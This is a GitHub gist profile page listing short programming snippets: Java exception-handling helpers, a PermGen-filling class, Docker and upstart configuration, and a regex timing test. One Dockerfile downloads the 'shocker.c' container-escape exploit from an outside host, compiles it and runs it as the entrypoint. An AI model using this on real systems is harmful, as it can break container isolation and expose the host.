Skip to content

Instantly share code, notes, and snippets.

View knjname's full-sized avatar
💭
🐙

knjname knjname

💭
🐙
View GitHub Profile
dupStr = (str, n) -> (str for _ in [1..n]).join('')
testRegexp = (r, str, cnt) ->
startTime = + new Date()
for _ in [1..cnt]
throw new Error("#{r} has matched!!") if str.match r
finishTime = + new Date()
finishTime - startTime
@knjname
knjname / CheckPermGenUsage.java
Last active August 29, 2015 13:57
This is a class to get VM to occupy class-memory realm (often called "PermGen" or "Metaspace") growingly.
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.util.ArrayList;
import java.util.List;
public class CheckPermGenUsage {
interface A{}
interface B{}
@knjname
knjname / hogedocker.conf
Created May 20, 2014 17:23
An example of upstart daemon script (often used in Ubuntu) which controls a docker container.
# You may put this kind of script on /etc/init/hogedocker.conf
start on started "docker.io"
pre-start script
set +e
docker stop "hogedocker"
docker rm "hogedocker"
set -e
end script
import java.util.Map;
import java.util.HashMap;
import java.util.List;
import java.util.concurrent.ConcurrentHashMap;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import java.util.concurrent.TimeUnit;
import java.util.stream.Collectors;
import java.util.stream.IntStream;
@knjname
knjname / Dockerfile
Created June 19, 2014 13:27
Dockerfile of shocker.c
FROM ubuntu
ADD http://stealth.openwall.net/xSports/shocker.c /shocker.c
RUN apt-get update
RUN apt-get install -y gcc
RUN gcc -Wall -std=c99 -O2 /shocker.c -static
ENTRYPOINT /a.out
@knjname
knjname / Dockerfile
Created June 19, 2014 15:36
Ubuntu Apache2 Dockerfile
FROM ubuntu:latest
RUN apt-get update
RUN apt-get install -y apache2 subversion subversion-tools
PORT 80
RUN mkdir /var/lock/apache2
RUN mkdir /var/run/apache2
RUN useradd apache
@knjname
knjname / ConvertToNonCheckedExceptions.java
Last active August 29, 2015 14:03
Avoid checked exceptions in lambda expression.
package knjname;
import java.util.concurrent.Callable;
public class ConvertToNonCheckedExceptions {
@FunctionalInterface
interface ExceptionalRunnable {
public void run() throws Exception;
}
package knjname;
import java.io.IOException;
public class TransparentExceptionHandler {
@FunctionalInterface
interface ExceptionalRunnable {
public void run() throws Exception;
}
@knjname
knjname / HierarchicalTransparentExceptionHandler.java
Created June 26, 2014 14:37
Nested transparent exception handler.
package knjname;
import java.io.IOException;
public class HierarchicalTransparentExceptionHandler {
@FunctionalInterface
interface ExceptionalRunnable {
public void run() throws Exception;
}
class A {
String u;
A(Object s){
System.out.println("A.new() with " + s);
}
String p(){return "p";}
}